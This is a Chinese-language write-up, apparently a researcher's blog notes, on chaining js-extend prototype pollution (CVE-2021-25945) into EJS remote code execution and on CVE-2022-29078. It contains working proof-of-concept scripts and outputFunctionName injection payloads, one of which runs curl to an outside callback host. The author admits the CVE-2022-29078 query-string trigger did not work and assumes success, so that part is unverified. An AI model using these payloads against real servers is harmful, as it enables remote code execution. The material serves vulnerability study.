简述:基本所有漏洞都遵守三点,漏洞存在、输入可控、触发代码,ejs原型链污染主要在最后触发上起作用
jsExtend模块的原型链污染
CVE-2021-25945,截至目前依旧可用
poc
const jsExtend = require("js-extend")
//const ejs = require('ejs');
var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
jsExtend.extend({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);
可以稍微研究下,跟进到模块的代码
(function(factory) {
if(typeof exports === 'object') {
factory(exports);
} else {
factory(this);
}
}).call(this, function(root) {
var slice = Array.prototype.slice,
each = Array.prototype.forEach;
var extend = function(obj) {
if(typeof obj !== 'object') throw obj + ' is not an object' ;
var sources = slice.call(arguments, 1);
each.call(sources, function(source) { //关键点
if(source) {
for(var prop in source) {
if(typeof source[prop] === 'object' && obj[prop]) {
extend.call(obj, obj[prop], source[prop]);
} else {
obj[prop] = source[prop];
}
}
}
});
return obj;
}
root.extend = extend;
});
不用怎么看,这个结构太熟悉了
所以 如果在使用extend函数时source可控,就有可能造成原型链污染
ejs 触发点
ejs的版本需要小于3.1.6,因为在这之后其空对象的定义从
opts = opts || {};
修改为了
opts = opts || createObj(null);
而后又改为了
var opts = utils.hasOwnOnlyObject(optsParam);
防止了原型污染导致的rce


他之所以关键,是因为我们要污染的对象是outputFunctionName
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\\n';
}
根据这个拼接,可以构建出如下的payload
{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\\'child_process\\').exec(\\'id\\');x"}}
完整poc
const jsExtend = require("js-extend")
const ejs = require('ejs');
function pollution(payload){
/*
> typeof({})
'object'
*/
console.log("Before: " + {}.outputFunctionName);
jsExtend.extend({}, JSON.parse(payload));
console.log("After : " + {}.outputFunctionName);
}
function _render(){
let html='<%= a %>'
console.log(ejs.render(html,{a:'b'}))
}
var payload='{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\\'child_process\\').exec(\\'curl ac8817da.log.cdncache.rr.nu\\');x"}}'
pollution(payload)
_render()

CVE-2022-29078
也是在版本3.1.6 之前存在的ssti模板注入
这个漏洞的本质其实也是控制outputFunctionName 导致的rce
遇到的问题:
curl "127.0.0.1:3000?test=AAAA&settings\\[view%20options\\]\\[A\\]=BBBB"
使用payload的时候预期应该是settings中添加内容,就像

但我遇到的情况是

并没有如期插入,而是创建了settings[view options][A],这就导致了
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
没有触发
暂时没有解决,先假设能够成功触发
poc
const express = require('express')
const app = express()
const port = 3000
app.set('view engine', 'ejs');
o = {
"settings":{
"view options":{
"outputFunctionName":'x;process.mainModule.require("child_process").execSync("touch /tmp/pwned");s',
}
}
}
app.get('/page', (req,res) => {
res.render('page', o);
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})

而后经过node_modules/ejs/lib/utils.js
exports.shallowCopy = function (to, from) {
from = from || {};
for (var p in from) {
to[p] = from[p];
}
return to;
};
回顾前面的代码
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
如此便成功控制了opts.outputFunctionName的内容,到这里和原型链污染的流程就差不多了,通过控制outputFunctionName之后的代码拼接受到污染导致rce

如此漏洞利用就算完成了
资料
ejs render原型链污染跟进分析 - KingBridge - 博客园
https://github.com/mde/ejs/issues/730
https://github.com/mde/ejs/issues/451
https://github.com/mde/ejs/pull/601
Prototype Pollution in js-extend | CVE-2021-25945 | Snyk
EJS, Server side template injection RCE (CVE-2022-29078) - writeup